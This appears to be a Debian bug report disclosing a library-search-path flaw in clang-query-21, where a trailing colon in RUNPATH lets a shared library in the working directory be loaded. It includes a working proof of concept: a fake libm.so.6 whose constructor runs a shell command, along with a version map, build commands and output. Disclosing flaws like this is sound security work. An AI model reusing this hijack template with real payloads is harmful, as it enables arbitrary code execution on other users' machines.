<div dir="ltr">Package: clang-tools-21<br>Version: 1:21.1.8-7+b1<br>Severity: grave<br><div>Tags: security</div><div><br></div><div> I have identified a security vulnerability (CWE-427) in the `clang-query-21` binary where the `RUNPATH` contains a trailing colon (`:`).</div><div><br></div><div>According to ELF standards, a trailing or empty entry in `RUNPATH` is interpreted by the dynamic linker as the current working directory (`.`). This allows a local attacker to achieve arbitrary code  execution as the user running `clang-query-21` by placing a malicious shared library in the working directory.</div><div><br></div><div><b>Verification:</b></div><div><br></div><div> $ readelf -d /usr/bin/clang-query-21 | grep RUNPATH</div><div><br> 0x000000000000001d (RUNPATH)            Library runpath: [$ORIGIN/../lib:/build/reproducible-path/llvm-toolchain-21-21.1.8/build-llvm/tools/clang/stage2-bins/lib:]</div><div><br></div><div>Note the trailing colon. Other binaries in the same package, such as clang-check-21, have correctly formed RUNPATHs ($ORIGIN/../lib).</div><div><br></div><div><b>Proof-of-Concept:</b></div><div><b><br></b></div><div>I have successfully exploited this on a Kali Linux (arm64) system by creating a "proxy" `libm.so.6` in the current directory. By satisfying the `GLIBC_2.17`, `GLIBC_2.29`, and `GLIBC_2.38` version requirements for symbols like `fmod`, `log`, and `pow`, I was able to execute a constructor-based payload (system call to touch /tmp/pwned) before the main process starts.<br><br>This appears to be a build-system misconfiguration specifically affecting the `clang-query` component of the `llvm-toolchain-21` source package.<br><br></div><div><b>poc_libm.c</b><br><br></div><div>#include <stdio.h><br>#include <stdlib.h><br>#include <unistd.h><br><br>// Dummy implementations<br>double fmod(double x, double y) { return 0.0; }<br>double log10(double x) { return 0.0; }<br>double log(double x) { return 0.0; }<br>double pow(double x, double y) { return 0.0; }<br>double ceil(double x) { return 0.0; }<br>double floor(double x) { return 0.0; }<br>double exp(double x) { return 0.0; }<br>double log2(double x) { return 0.0; }<br>double sin(double x) { return 0.0; }<br>double cos(double x) { return 0.0; }<br>double tan(double x) { return 0.0; }<br>double cosh(double x) { return 0.0; }<br>double sinh(double x) { return 0.0; }<br>double tanh(double x) { return 0.0; }<br>double erf(double x) { return 0.0; }<br>double logb(double x) { return 0.0; }<br>double log1p(double x) { return 0.0; }<br>double atan(double x) { return 0.0; }<br>double acos(double x) { return 0.0; }<br>double asin(double x) { return 0.0; }<br>double atan2(double y, double x) { return 0.0; }<br>double sqrt(double x) { return 0.0; }<br>double remainder(double x, double y) { return 0.0; }<br>int fesetround(int round) { return 0; }<br><br>void __attribute__((constructor)) init() {<br>    system("touch /tmp/pwned");<br>    printf("\n[!] HIJACK SUCCESSFUL: libm.so.6 proxied for clang-query-21\n");<br>    exit(0);<br>}</div><div><br></div><div><b>versions.map</b></div><div><br>GLIBC_2.17 {<br>    global:<br>        log10; ceil; floor; sin; cos; tan; cosh; sinh; tanh; erf; logb; log1p; atan; acos; asin; atan2; sqrt; remainder; fesetround;<br>};<br>GLIBC_2.29 {<br>    global:<br>        pow; exp; log2; log;<br>};<br>GLIBC_2.38 {<br>    global:<br>        fmod;<br>};<br>GLIBC_2.27 { global: *; };<br><br></div><div><b>Example:</b></div><div><b><br></b></div><div>$ gcc -shared -fPIC poc_libm.c -o libm.so.6 -Wl,--version-script=versions.map<br>$ /usr/bin/clang-query-21<br><br>[!] HIJACK SUCCESSFUL: libm.so.6 proxied for clang-query-21<br><br>$ ls /tmp | grep pwned<br>pwned<br><br></div><div> I am reporting this to the BTS as per the Debian Security FAQ guidance for vulnerabilities in the 'unstable' distribution.</div><div><br></div><div><b>Proposed Fix:</b><br><br></div><div>The RUNPATH should be sanitized during the build process to remove trailing colons. </div></div>